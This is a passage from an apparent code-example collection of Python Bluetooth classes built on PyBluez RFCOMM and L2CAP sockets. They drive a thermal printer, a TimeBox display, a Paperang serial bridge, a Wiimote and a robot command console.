        self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY)

    def sendFeedToHeadLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE)

    def queryPowerOffTime(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME)

    def querySNFromBt(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_SN)

    def queryHardwareInfo(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
Exemple #22
0
class Networkable:
    def __init__(self, is_server: bool = True):
        self.is_server = is_server
        self._threads = {}
        self._connections = {}
        self.socket = BluetoothSocket(RFCOMM)
        self.socket_is_ready = False
        self.socket_thread = self.spawn_thread("Accepting", self._accept,
                                               True).start()

    def connect(self):
        while True:
            if self.is_server:
                self.socket.bind(("", PORT_ANY))
                self.socket.listen(8)
                _util.AdvertiseService(True, self.socket)
                self.socket_is_ready = True
                return
            else:
                found = _util.FindValidDevices(False)
                if len(found) >= 1:
                    for address in found.keys():
                        try:
                            host, port = address.split("~")
                            self.socket.connect((host, int(port)))
                            self.socket_is_ready = True
                            return
                        except Exception:
                            continue
                else:
                    _logging.Log(_logging.LogType.Info,
                                 "Unable to find a server!", False).post()

    def _accept(self):
        if not self.socket_is_ready or self.socket is None: return
        sock, addr = self.socket.accept()
        self.save_connection(sock, addr)

    def recieve(self, connection: object = None, data: str = None):
        raise NotImplementedError()

    def spawn_thread(self,
                     name: str = None,
                     target=None,
                     loop: bool = False,
                     args=tuple(),
                     kwargs={}):
        if self._threads is None: return None
        self.close_thread(name)
        T = _threading.SimpleThread(target, loop, args, kwargs)
        self._threads[name] = T
        return T

    def close_thread(self, name: str = None):
        if self.thread_exists(name) and self._threads is not None:
            T = self._threads[name]
            del self._threads[name]
            T.stop()
            return True
        else:
            return False

    def thread_exists(self, name: str = None):
        return name in self._threads

    def save_connection(self,
                        socket: BluetoothSocket = None,
                        addr: str = None):
        if self._connections is None: return
        c = ConnectionHandle(addr, socket, self.recieve)
        self._connections[addr] = c
        return c

    def close_connection(self, addr: str = None):
        if self.has_connection(addr) and self._connections is not None:
            connection = self._connections[addr]
            del self._connections[addr]
            connection.close()
            return True
        else:
            return False

    def has_connection(self, addr: str = None):
        return addr in self._connections and not self._connections[addr].closed

    def __del__(self):
        # Close connections and threads
        for thread in self._threads.values():
            thread.stop()
        for connection in self._connections.values():
            connection.close()
        self._threads = None
        self._connections = None

        # Close socket related items
        self.socket_is_ready = False
        self.socket.close()
        self.socket = None
Exemple #23
0
class TimeBox:
    """Class TimeBox encapsulates the TimeBox communication."""
    
    DEFAULTHOST = config.timebox_mac

    COMMANDS = {
        "switch radio": 0x05,
        "set volume": 0x08,
        "get volume": 0x09,
        "set mute": 0x0a,
        "get mute": 0x0b,
        "set date time": 0x18,
        "set image": 0x44,
        "set view": 0x45,
        "set animation frame": 0x49,
        "get temperature": 0x59,
        "get radio frequency": 0x60,
        "set radio frequency": 0x61
    }

    socket = None
    messages = None
    message_buf = []

    def __init__(self):
        self.messages = TimeBoxMessages()


    def show_text(self, txt, speed=20, font=None):
        """
          Display text & scroll, call is blocking
        """
        if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple):
            raise Exception("a list of tuple is expected")
        im = draw_multiple_to_image(txt, font)
        slices = horizontal_slices(im)
        for i, s in enumerate(slices):
            #s.save("./debug/%s.bmp"%i)
            self.set_static_image(build_img(s))
            time.sleep(1.0/speed)

    def show_text2(self, txt, font=None):
        """
        Use dynamic_image_message to display scolling text
        Cannot go faster than 1fps
        """
        if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple):
            raise Exception("a list of tuple is expected")
        imgs = []
        im = divoom_image.draw_multiple_to_image(txt, font)
        slices = horizontal_slices(im)
        for i, s in enumerate(slices):
            # s.save("./debug/%s.bmp"%i)
            imgs.append(build_img(s))
        print len(imgs)
        self.set_dynamic_images(imgs)

    def show_static_image(self, path):
      self.set_static_image(divoom_image.load_image(path))

    def show_animated_image(self, path):
      self.set_dynamic_images(divoom_image.load_gif_frames(path))

    def connect(self, host=None, port=4):
        """Open a connection to the TimeBox."""
        # Create the client socket
        if host is None:
            host = self.DEFAULTHOST
        #print("connecting to %s at %s" % (self.host, self.port))
        self.socket = BluetoothSocket(RFCOMM)
        self.socket.connect((host, port))
        self.socket.setblocking(0)


    def close(self):
        """Closes the connection to the TimeBox."""
        self.socket.close()

    def receive(self, num_bytes=1024):
        """Receive n bytes of data from the TimeBox and put it in the input buffer."""
        ready = select.select([self.socket], [], [], 0.1)
        if ready[0]:
            self.message_buf += self.socket.recv(num_bytes)

    def send_raw(self, data):
        """Send raw data to the TimeBox."""
        return self.socket.send(data)

    def send_payload(self, payload):
        """Send raw payload to the TimeBox. (Will be escaped, checksumed and
        messaged between 0x01 and 0x02."""
        msg = self.messages.make_message(payload)
        return self.socket.send(str(bytearray(msg)))

    def set_time(self, time=None):
      if not time:
        time=datetime.datetime.now()
      args = []
      args.append(int(str(time.year)[2:]))
      args.append(int(str(time.year)[0:2]))
      args.append(int(time.month))
      args.append(int(time.day))
      args.append(int(time.hour))
      args.append(int(time.minute))
      args.append(int(time.second))
      args.append(0)
      self.send_command("set date time", args)

    def send_command(self, command, args=None):
        """Send command with optional arguments"""
        if args is None:
            args = []
        if isinstance(command, str):
            command = self.COMMANDS[command]
        length = len(args)+3
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb, command] + args
        self.send_payload(payload)

    def decode(self, msg):
        """remove leading 1, trailing 2 and checksum and un-escape"""
        return self.messages.decode(msg)

    def has_message(self):
        """Check if there is a complete message *or leading garbage data* in the input buffer."""
        if len(self.message_buf) == 0:
            return False
        if self.message_buf[0] != 0x01:
            return True
        endmarks = [x for x in self.message_buf if x == 0x02]
        return  len(endmarks) > 0

    def buffer_starts_with_garbage(self):
        """Check if the input buffer starts with data other than a message."""
        if len(self.message_buf) == 0:
            return False
        return self.message_buf[0] != 0x01

    def remove_garbage(self):
        """Remove data from the input buffer that is nof the start of a message."""
        if not 0x01 in self.message_buf:
            pos = len(self.message_buf)
        else:
            pos = self.message_buf.index(0x01)
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:len(self.message_buf)]
        return res

    def remove_message(self):
        """Remove a message from the input buffer and return it. Assumes it has been checked that
        there is a complete message without leading garbage data"""
        if not 0x02 in self.message_buf:
            raise Exception('There is no message')
        pos = self.message_buf.index(0x02)+1
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:len(self.message_buf)]
        return res

    def set_static_image(self, image):
        """Set the image on the TimeBox"""
        msg = self.messages.static_image_message(image)
        self.socket.send(str(bytearray((msg))))

    def set_dynamic_images(self, images, frame_delay=1):
        """Set the image on the TimeBox"""
        fnum = 0
        for img in images:
            msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
            fnum = fnum + 1
            self.socket.send(str(bytearray((msg))))

    def show_temperature(self, color=None):
        """Show temperature on the TimeBox in Celsius"""
        args = [0x01, 0x00]
        if color:
            color = ImageColor.getrgb(color)
            args += list(color)
        self.send_command("set view", args)

    def show_clock(self, color=None):
        """Show clock on the TimeBox in the color"""
        args = [0x00, 0x01]
        if color:
            color = ImageColor.getrgb(color)
            args += list(color)
        self.send_command("set view", args)
Exemple #24
0
class BluetoothConnection(object):
	def __init__(self):
		self.client_socket = None
		self.server_socket = None
		self.connected = False
		
	
	def createServer(self, port = 3):
		self.server_socket=BluetoothSocket( RFCOMM )

		self.server_socket.bind(("", port))
		self.server_socket.listen(1)

		print "Trying to connect.."
		self.client_socket, _ = self.server_socket.accept()
		print "Connected!"
		
		self.connected = True
		
	def createClient(self, address, port = 3):
		if address == "first":
			address = self.searchDevices()[0]
		self.client_socket=BluetoothSocket( RFCOMM )
		print "Trying to connect.."
		self.client_socket.connect((address, port))
		print "Connected!"
		self.connected = True
	
	def searchDevices(self):
		return discover_devices()
		
	def receiveData(self, bufsize = 1024):
		if self.connected:
			return self.client_socket.recv(bufsize)
		else:
			print "Not yet connected!"
	
	def sendFile(self, filename):
		f = open(filename, 'r')
		data = f.readlines()
		for line in data:
			self.sendData(line)
		f.close()
	
	def receiveFile(self, filename, bufsize = 4096):
		data = self.receiveData(bufsize)
		f = open(filename, 'w')
		f.writelines(data)
		f.flush()
		f.close()
		
	def sendData(self, data):
		if self.connected:
			self.client_socket.send(data)
			
	def closeConnection(self):
		if self.server_socket is not None:
			self.server_socket.close()
		
		self.client_socket.close()
		
		self.connected = False
Exemple #25
0
class Bridge:
    serial_worker = None
    ser_to_bt = None
    intentional_exit = False
    in_packet = False
    packet = bytearray()

    def __init__(self, log, port=COM_PORT, baud=BAUD, address=PAPERANG_ADDR, 
                uuid=UUID):
        self.host_port = COM_PORT
        self.address = address
        self.uuid = uuid
        self.host = serial.serial_for_url(COM_PORT, baudrate=baud, timeout=1,
                                          do_not_open= True)
        self.logging = log.logger

    def connect_host(self):
        try:
            self.host.open()
        except serial.SerialException as e:
            self.logging.error(
                'Could not open serial port {}: {}\n'.format(self.host_port, e))
            return False
        self.logging.info("Host connected.")
        return True

    def disconnect_host(self):
        self.host.close()
        self.logging.info("Host disconnected.")

    def scanservices(self):
        self.logging.info("Searching for services...")
        service_matches = find_service(uuid=self.uuid, address=self.address)
        valid_service = list(filter(
            lambda s: 'protocol' in s and 'name' in s and s[
                'protocol'] == 'RFCOMM' and s['name'] == b'Port\x00',
            service_matches
        ))
        if len(valid_service) == 0:
            self.logging.error("Cannot find valid services on device with MAC %s." % self.address)
            return False
        self.logging.info("Found a valid service on target device.")
        self.service = valid_service[0]
        return True

    def connect_device(self):
        if not self.scanservices():
            self.logging.error('Not found valid service.')
            return False
        self.logging.info("Service found. Connecting to \"%s\" on %s..." %
                     (self.service["name"], self.service["host"]))
        self.sock = BluetoothSocket(RFCOMM)
        self.sock.connect((self.service["host"], self.service["port"]))
        self.sock.settimeout(60)
        self.logging.info("Device connected.")

        return True

    def disconnect_device(self):
        try:
            self.sock.close()
        except:
            pass
        self.logging.info("Device disconnected.")

    def redirect_Serial2Bt_thread(self):
        # start thread to handle redirect host data to device
        self.ser_to_bt = SerialToBt(self.logging)
        self.ser_to_bt.socket = self.sock
        self.serial_worker = serial.threaded.ReaderThread(self.host, self.ser_to_bt)
        self.serial_worker.start()
        self.logging.info("Start to redirect host data to device ...")

    def get_packet(self, data):
        """Find data enclosed in START/STOP"""
        for d in data:
            byte = d.to_bytes(1, 'little')
            if byte == PKT_START:
                self.in_packet = True
            elif byte == PKT_STOP:
                self.in_packet = False
                self.logging.info(
                    'Device2Host Packet: 02{}03'.format(self.packet.hex()))
                del self.packet[:]
            elif self.in_packet:
                self.packet.extend(byte)
            else:  # data that is received outside of packets
                pass

    def redirect_Bt2Serial(self):
        self.logging.info("Start to redirect device data to host ...")
        device_socket = self.sock
        self.intentional_exit = False
        try:
            # enter network <-> serial loop
            while not self.intentional_exit:
                try:
                    data = device_socket.recv(MAX_RECV_LEN)
                    if not data:
                        break
                    # get a bunch of bytes and send them
                    self.logging.debug('Device2Host Data: {}'.format(data.hex()))
                    self.get_packet(data)
                    self.host.write(data)
                except BluetoothError as msg:
                    self.logging.error('ERROR: {}\n'.format(msg))
                    # probably got disconnected
                    break
        except KeyboardInterrupt:
            self.intentional_exit = True
            raise

    def enable(self):
        self.connect_host()
        if not self.connect_device():
            return
        self.redirect_Serial2Bt_thread()
        self.redirect_Bt2Serial()

    def disable(self):
        self.intentional_exit = True
        self.ser_to_bt.socket = None
        self.disconnect_host()
        self.serial_worker.stop()
        self.disconnect_device()
Exemple #26
0
class Wiimote:
    def __init__(self, addr):
        self._addr = addr
        self._inSocket = BluetoothSocket(L2CAP)
        self._outSocket = BluetoothSocket(L2CAP)
        self._connected = False

    def __del__(self):
        self.disconnect()

    def _send(self, *data, **kwargs):
        check_connection = True
        if "check_connection" in kwargs:
            check_connection = kwargs["check_connection"]
        if check_connection and not self._connected:
            raise IOError("No wiimote is connected")
        self._inSocket.send("".join(map(chr, data)))

    def disconnect(self):
        if self._connected:
            self._inSocket.close()
            self._outSocket.close()
            self._connected = False

    def connect(self, timeout=0):
        if self._connected:
            return None

        self._inSocket.connect((self._addr, 0x13))
        self._outSocket.connect((self._addr, 0x11))

        self._inSocket.settimeout(timeout)
        self._outSocket.settimeout(timeout)

        # TODO give the choice of the mode to the user
        # Set the mode of the data reporting of the Wiimote with the last byte of this sending
        # 0x30 : Only buttons (2 bytes)
        # 0x31 : Buttons and Accelerometer (3 bytes)
        # 0x32 : Buttons + Extension (8 bytes)
        # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes)
        # 0x34 : Buttons + Extension (19 bytes)
        # 0x35 : Buttons + Accel + Extension (16 bytes)
        # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes)
        # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes)
        # 0x3d : Extension (21 bytes)
        # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit.
        self._send(0x52, 0x12, 0x00, 0x33, check_connection=False)

        # Enable the IR camera
        # Enable IR Camera (Send 0x04 to Output Report 0x13)
        # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a)
        # Write 0x08 to register 0xb00030
        # Write Sensitivity Block 1 to registers at 0xb00000
        # Write Sensitivity Block 2 to registers at 0xb0001a
        # Write Mode Number to register 0xb00033
        # Write 0x08 to register 0xb00030 (again)
        # Put a sleep of 50ms to avoid a bad configuration of the IR sensor
        # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41
        # Sensitivity Block 2 is : 40 00
        # The mode number is 1 if there is 10 bytes for the IR.
        # The mode number is 3 if there is 12 bytes for the IR.
        # The mode number is 5 if there is 36 bytes for the IR.
        time.sleep(0.050)
        self._send(0x52, 0x13, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(0x52, 0x1A, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x30,
            1,
            0x08,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x06,
            1,
            0x90,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x08,
            1,
            0x41,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x1A,
            1,
            0x40,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x33,
            1,
            0x03,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x30,
            1,
            0x08,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )

        self._connected = True

    def vibrate(self, duration=1):
        self._send(0x52, 0x15, 0x01)
        time.sleep(duration)
        self._send(0x52, 0x15, 0x00)

    def setLed(self, binary):
        self._send(0x52, 0x11, int(n << 4))

    def _getData(self, check_connection=True):
        if check_connection and not self._connected:
            raise IOError("No wiimote is connected")
        data = self._inSocket.recv(19)
        if len(data) != 19:
            raise IOError("Impossible to receive all data")
        return list(map(ord, data))

    def _checkButton(self, bit, mask):
        return self._getData()[bit] & mask != 0

    def buttonAPressed(self):
        return self._checkButton(3, 0x08)

    def buttonBPressed(self):
        return self._checkButton(3, 0x04)

    def buttonUpPressed(self):
        return self._checkButton(2, 0x08)

    def buttonDownPressed(self):
        return self._checkButton(2, 0x04)

    def buttonLeftPressed(self):
        return self._checkButton(2, 0x01)

    def buttonRightPressed(self):
        return self._checkButton(2, 0x02)

    def buttonPlusPressed(self):
        return self._checkButton(2, 0x10)

    def buttonMinusPressed(self):
        return self._checkButton(3, 0x10)

    def buttonHomePressed(self):
        return self._checkButton(3, 0x80)

    def buttonOnePressed(self):
        return self._checkButton(3, 0x02)

    def buttonTwoPressed(self):
        return self._checkButton(3, 0x01)

    # 0x80 means no movement
    def getAcceleration(self):
        d = self._getData()

        ax = d[4] << 2 | d[2] & (0x20 | 0x40)
        ay = d[5] << 1 | d[3] & 0x20
        az = d[6] << 1 | d[3] & 0x40
        return (ax, ay, az)

    def getIRPoints(self):
        d = self._getData()

        x1 = d[7] | ((d[9] & (0b00110000)) << 4)
        y1 = d[8] | ((d[9] & (0b11000000)) << 2)
        i1 = d[9] & 0b00001111

        x2 = d[10] | ((d[12] & (0b00110000)) << 4)
        y2 = d[11] | ((d[12] & (0b11000000)) << 2)
        i2 = d[12] & 0b00001111

        x3 = d[13] | ((d[15] & (0b00110000)) << 4)
        y3 = d[14] | ((d[15] & (0b11000000)) << 2)
        i3 = d[15] & 0b00001111

        x4 = d[16] | ((d[18] & (0b00110000)) << 4)
        y4 = d[17] | ((d[18] & (0b11000000)) << 2)
        i4 = d[18] & 0b00001111

        return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
Exemple #27
0
class Wiimote:
    def __init__(self, addr):
        self._addr = addr
        self._inSocket = BluetoothSocket(L2CAP)
        self._outSocket = BluetoothSocket(L2CAP)
        self._connected = False

    def __del__(self):
        self.disconnect()

    def _send(self, *data, **kwargs):
        check_connection = True
        if 'check_connection' in kwargs:
            check_connection = kwargs['check_connection']
        if check_connection and not self._connected:
            raise IOError('No wiimote is connected')
        self._inSocket.send(''.join(map(chr, data)))

    def disconnect(self):
        if self._connected:
            self._inSocket.close()
            self._outSocket.close()
            self._connected = False

    def connect(self, timeout=0):
        if self._connected:
            return None

        self._inSocket.connect((self._addr, 0x13))
        self._outSocket.connect((self._addr, 0x11))

        self._inSocket.settimeout(timeout)
        self._outSocket.settimeout(timeout)

        # TODO give the choice of the mode to the user
        # Set the mode of the data reporting of the Wiimote with the last byte of this sending
        # 0x30 : Only buttons (2 bytes)
        # 0x31 : Buttons and Accelerometer (3 bytes)
        # 0x32 : Buttons + Extension (8 bytes)
        # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes)
        # 0x34 : Buttons + Extension (19 bytes)
        # 0x35 : Buttons + Accel + Extension (16 bytes)
        # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes)
        # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes)
        # 0x3d : Extension (21 bytes)
        # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit.
        self._send(0x52, 0x12, 0x00, 0x33, check_connection=False)

        # Enable the IR camera
        # Enable IR Camera (Send 0x04 to Output Report 0x13)
        # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a)
        # Write 0x08 to register 0xb00030
        # Write Sensitivity Block 1 to registers at 0xb00000
        # Write Sensitivity Block 2 to registers at 0xb0001a
        # Write Mode Number to register 0xb00033
        # Write 0x08 to register 0xb00030 (again)
        # Put a sleep of 50ms to avoid a bad configuration of the IR sensor
        # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41
        # Sensitivity Block 2 is : 40 00
        # The mode number is 1 if there is 10 bytes for the IR.
        # The mode number is 3 if there is 12 bytes for the IR.
        # The mode number is 5 if there is 36 bytes for the IR.
        time.sleep(0.050)
        self._send(0x52, 0x13, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(0x52, 0x1a, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x30,
                   1,
                   0x08,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x06,
                   1,
                   0x90,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x08,
                   1,
                   0x41,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x1a,
                   1,
                   0x40,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x33,
                   1,
                   0x03,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x30,
                   1,
                   0x08,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)

        self._connected = True

    def vibrate(self, duration=1):
        self._send(0x52, 0x15, 0x01)
        time.sleep(duration)
        self._send(0x52, 0x15, 0x00)

    def setLed(self, binary):
        self._send(0x52, 0x11, int(n << 4))

    def _getData(self, check_connection=True):
        if check_connection and not self._connected:
            raise IOError('No wiimote is connected')
        data = self._inSocket.recv(19)
        if len(data) != 19:
            raise IOError('Impossible to receive all data')
        return list(map(ord, data))

    def _checkButton(self, bit, mask):
        return self._getData()[bit] & mask != 0

    def buttonAPressed(self):
        return self._checkButton(3, 0x08)

    def buttonBPressed(self):
        return self._checkButton(3, 0x04)

    def buttonUpPressed(self):
        return self._checkButton(2, 0x08)

    def buttonDownPressed(self):
        return self._checkButton(2, 0x04)

    def buttonLeftPressed(self):
        return self._checkButton(2, 0x01)

    def buttonRightPressed(self):
        return self._checkButton(2, 0x02)

    def buttonPlusPressed(self):
        return self._checkButton(2, 0x10)

    def buttonMinusPressed(self):
        return self._checkButton(3, 0x10)

    def buttonHomePressed(self):
        return self._checkButton(3, 0x80)

    def buttonOnePressed(self):
        return self._checkButton(3, 0x02)

    def buttonTwoPressed(self):
        return self._checkButton(3, 0x01)

    # 0x80 means no movement
    def getAcceleration(self):
        d = self._getData()

        ax = d[4] << 2 | d[2] & (0x20 | 0x40)
        ay = d[5] << 1 | d[3] & 0x20
        az = d[6] << 1 | d[3] & 0x40
        return (ax, ay, az)

    def getIRPoints(self):
        d = self._getData()

        x1 = d[7] | ((d[9] & (0b00110000)) << 4)
        y1 = d[8] | ((d[9] & (0b11000000)) << 2)
        i1 = d[9] & 0b00001111

        x2 = d[10] | ((d[12] & (0b00110000)) << 4)
        y2 = d[11] | ((d[12] & (0b11000000)) << 2)
        i2 = d[12] & 0b00001111

        x3 = d[13] | ((d[15] & (0b00110000)) << 4)
        y3 = d[14] | ((d[15] & (0b11000000)) << 2)
        i3 = d[15] & 0b00001111

        x4 = d[16] | ((d[18] & (0b00110000)) << 4)
        y4 = d[17] | ((d[18] & (0b11000000)) << 2)
        i4 = d[18] & 0b00001111

        return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
Exemple #28
0
class Interp(cmd.Cmd):
    prompt = "balitronics > "

    def __init__(self,
                 tty=None,
                 baudrate=38400,
                 addr='98:D3:31:70:13:AB',
                 port=1):
        cmd.Cmd.__init__(self)
        self.escape = "\x01"  # C-a
        self.quitraw = "\x02"  # C-b
        self.serial_logging = False
        self.default_in_log_file = "/tmp/eurobotics.in.log"
        self.default_out_log_file = "/tmp/eurobotics.out.log"

        self.ser = None
        if (tty is not None):
            self.ser = serial.Serial(tty, baudrate=baudrate)
        else:
            self.rfcomm = BluetoothSocket(RFCOMM)
            self.rfcomm.connect((addr, port))
            self.rfcomm.settimeout(0.01)

    def do_quit(self, args):
        if self.ser is None:
            self.rfcomm.close()
        return True

    def do_log(self, args):
        """Activate serial logs.
        log <filename>           logs input and output to <filename>
        log <filein> <fileout>   logs input to <filein> and output to <fileout>
        log                      logs to /tmp/eurobotics.log or the last used file"""

        if self.serial_logging:
            log.error("Already logging to %s and %s" %
                      (self.ser.filein, self.ser.fileout))
        else:
            self.serial_logging = True
            files = [os.path.expanduser(x) for x in args.split()]
            if len(files) == 0:
                files = [self.default_in_log_file, self.default_out_log_file]
            elif len(files) == 1:
                self.default_in_log_file = files[0]
                self.default_out_log_file = None
            elif len(files) == 2:
                self.default_in_log_file = files[0]
                self.default_out_log_file = files[1]
            else:
                print("Can't parse arguments")

            self.ser = SerialLogger(self.ser, *files)
            log.info("Starting serial logging to %s and %s" %
                     (self.ser.filein, self.ser.fileout))

    def do_unlog(self, args):
        if self.serial_logging:
            log.info("Stopping serial logging to %s and %s" %
                     (self.ser.filein, self.ser.fileout))
            self.ser = self.ser.ser
            self.serial_logging = False
        else:
            log.error("No log to stop")

    def do_raw_tty(self, args):
        "Switch to RAW mode"
        stdin = os.open("/dev/stdin", os.O_RDONLY)
        stdout = os.open("/dev/stdout", os.O_WRONLY)

        stdin_termios = termios.tcgetattr(stdin)
        raw_termios = stdin_termios[:]

        try:
            log.info("Switching to RAW mode")

            # iflag
            raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT |
                                termios.PARMRK | termios.ISTRIP | termios.INLCR
                                | termios.IGNCR | termios.ICRNL | termios.IXON)
            # oflag
            raw_termios[1] &= ~termios.OPOST
            # cflag
            raw_termios[2] &= ~(termios.CSIZE | termios.PARENB)
            raw_termios[2] |= termios.CS8
            # lflag
            raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON
                                | termios.ISIG | termios.IEXTEN)

            termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios)

            mode = "normal"
            while True:
                ins, outs, errs = select([stdin, self.ser], [], [])
                for x in ins:
                    if x == stdin:
                        c = os.read(stdin, 1)
                        if mode == "escape":
                            mode == "normal"
                            if c == self.escape:
                                self.ser.write(self.escape)
                            elif c == self.quitraw:
                                return
                            else:
                                self.ser.write(self.escape)
                                self.ser.write(c)
                        else:
                            if c == self.escape:
                                mode = "escape"
                            else:
                                self.ser.write(c)
                    elif x == self.ser:
                        os.write(stdout, self.ser.read(1))
        finally:
            termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios)
            log.info("Back to normal mode")

    def do_tm_rfcomm(self, args):
        self.rfcomm.settimeout(1.)
        self.rfcomm.send("event power off\n\r")
        time.sleep(0.1)
        self.rfcomm.send("event tm on\n\r")

        t1 = t2 = time.time()
        self.rfcomm.settimeout(0.01)
        received = self.rfcomm.recv(1)
        while t2 - t1 < 1:
            try:
                self.rfcomm.settimeout(0.01)
                #received.append(self.rfcomm.recv(1024))
                received += self.rfcomm.recv(1024)
            except BluetoothError as error:
                if str(error) != 'timed out':
                    raise
            t2 = time.time()

        self.rfcomm.send("event tm on\n\r")
        time.sleep(0.1)

        print(received)

    def do_tm_test(self, args):
        self.rfcomm.settimeout(1.)
        self.rfcomm.send("\n\revent tm on\n\r")
        self.rfcomm.settimeout(0.1)
        #self.rfcomm.settimeout(None) # set blocking True
        #self.rfcomm.settimeout(0.0) # set blocking False
        time.sleep(5)
        t1 = time.time()
        while time.time() - t1 < 10:
            try:
                received = self.rfcomm.recv(4096)
                print("rx", len(received))
                received = 0
            #except BluetoothError as error:
            except:
                raise
                #if str(error) != 'timed out':
                #    raise
                #if str(error) != 'Resource temporarily unavailable':
                #    raise

    def do_raw_rfcomm(self, args):
        "Switch to RAW mode"
        stdin = os.open("/dev/stdin", os.O_RDONLY)
        stdout = os.open("/dev/stdout", os.O_WRONLY)

        stdin_termios = termios.tcgetattr(stdin)
        raw_termios = stdin_termios[:]

        try:
            log.info("Switching to RAW mode")

            # iflag
            raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT |
                                termios.PARMRK | termios.ISTRIP | termios.INLCR
                                | termios.IGNCR | termios.ICRNL | termios.IXON)
            # oflag
            raw_termios[1] &= ~termios.OPOST
            # cflag
            raw_termios[2] &= ~(termios.CSIZE | termios.PARENB)
            raw_termios[2] |= termios.CS8
            # lflag
            raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON
                                | termios.ISIG | termios.IEXTEN)

            termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios)
            #i = 0

            mode = "normal"
            while True:
                #ins,outs,errs=select([stdin,self.ser],[],[])
                ins, outs, errs = select([stdin, self.rfcomm], [], [])
                for x in ins:
                    if x == stdin:
                        c = os.read(stdin, 1)
                        if mode == "escape":
                            mode == "normal"
                            if c == self.escape:
                                #self.ser.write(self.escape)
                                self.rfcomm.settimeout(1.)
                                self.rfcomm.send(self.escape)
